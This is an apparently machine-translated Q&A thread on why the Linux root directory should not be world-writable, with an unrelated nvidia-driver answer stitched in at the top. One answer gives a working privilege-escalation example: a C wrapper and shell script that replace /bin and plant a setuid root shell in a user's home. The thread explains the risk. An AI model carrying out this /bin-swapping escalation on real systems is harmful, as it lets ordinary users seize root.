Должен ли root / иметь разрешение 777?

Выполнение sudo apt-get install nvidia-current должно сделать это.

Обратите внимание, что пакет nvidia-current находится в репозитории restricted. Если пакет не найден. Отредактируйте файл /etc/apt/sources.list и удалите ведущий символ # следующей строки

#deb http://de.archive.ubuntu.com/ubuntu/ saucy main restricted

Сохраните файл и выполните sudo apt-get update && sudo apt-get install nvidia-current.

Он должен работать [ ! d3]

1
задан 24 April 2016 в 08:45

2 ответа

/ не может быть записываемым по всему миру

/, являющимся всемирно-записываемым, может быть огромной проблемой. Имея права на запись в /, любой пользователь может перемещать / переименовывать любой файл или каталог в /. Это означает, что любой пользователь может заменить /etc, /usr или любые другие каталоги в / каталогами по их выбору.

Отказ в обслуживании: Trivial

Любой пользователь может тривиально удалить вашу систему, переименовав /etc и /usr.

Эквиляция привилегий: немного меньше тривиальных

Немного сложнее выполнить эскалацию привилегий. Пользователь может заменить /bin своей собственной копией, и любой процесс, который затем пытается использовать cp, или даже запустить оболочку, будет немедленно по их милости. Все, что нужно пользователю, - это ждать процесса, выполняемого как root, для использования любой команды в /bin или пользователя root, чтобы использовать логин, и они находятся.

Пример

[d10 ] bash.c:

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}

foo:

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash

И затем:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin

И в следующий раз, когда корень запускает оболочку , вы получаете исполняемый файл setuid в своем домашнем каталоге, который затем вы можете удобно использовать, чтобы получить root, когда захотите, не оставляя большого следа.

8
ответ дан 23 May 2018 в 11:51
  • 1
    Мне это нравится! +1 для тебя мой друг! знак равно – Terrance 24 April 2016 в 09:26
  • 2
    Позор, что bash сам не позволит себе запускаться как setuid, поэтому ваш исполняемый файл setuid bash теперь бесполезен ... – Hitechcomputergeek 24 April 2016 в 11:00
  • 3
    @Hitechcomputergeek Нелепо. Вы можете сделать что угодно. Просто выберите другую команду или напишите еще одну оболочку. – muru 24 April 2016 в 15:31
  • 4
    @muru Конечно, это не имеет значения, я просто указываю, что ваш пример на самом деле не работает. – Hitechcomputergeek 25 April 2016 в 01:44
Нет. Для / (корневого каталога) небезопасно иметь 777 разрешения. Это означает rwxrwxrwx, то есть каждый пользователь имеет право на запись в корневой каталог.

С этим разрешением каждый пользователь сможет создавать новые подкаталоги, удалять существующие подкаталоги и заменять существующие подкаталоги. Например, злоумышленник может удалить /bin (переименовав его в /bin.old) и создать принадлежащий им новый /bin, содержащий вредоносные исполняемые файлы. Или пользователь может удалить /etc (переименовав его в /etc.old) и создать новый файл /etc, содержащий новый файл /etc/passwd и /etc/shadow, который позволяет пользователю войти в систему для каждой учетной записи в системе.

8
ответ дан 23 May 2018 в 11:51
  • 1
    Я неправильно понял этот вопрос, когда ufw меня отбрасывал. Мои искренние извинения. +1 за отличный ответ. знак равно – Terrance 24 April 2016 в 09:11
  • 2
    Не удалял ли /bin необходимость удаления содержимого /bin - для чего у пользователя не было прав? Тем не менее, возможны всевозможные другие злоупотребления, поэтому это не умаляет вашего главного смысла. – hvd 24 April 2016 в 12:02
  • 3
    @hvd, No: вы можете переименовать /bin в /bin.old без удаления его содержимого, затем создать /bin, а затем поместить свои вредоносные исполняемые файлы в новый /bin. – D.W. 24 April 2016 в 12:14
  • 4
    @ D.W. В точку. Другими словами, возможны другие злоупотребления, но удаление /bin было бы невозможным. Это то, что я указал. – hvd 24 April 2016 в 12:15
  • 5
    @hvd, ОК, я отредактировал ответ, чтобы сделать это более ясным. – D.W. 24 April 2016 в 12:16

Другие вопросы по тегам:

Похожие вопросы: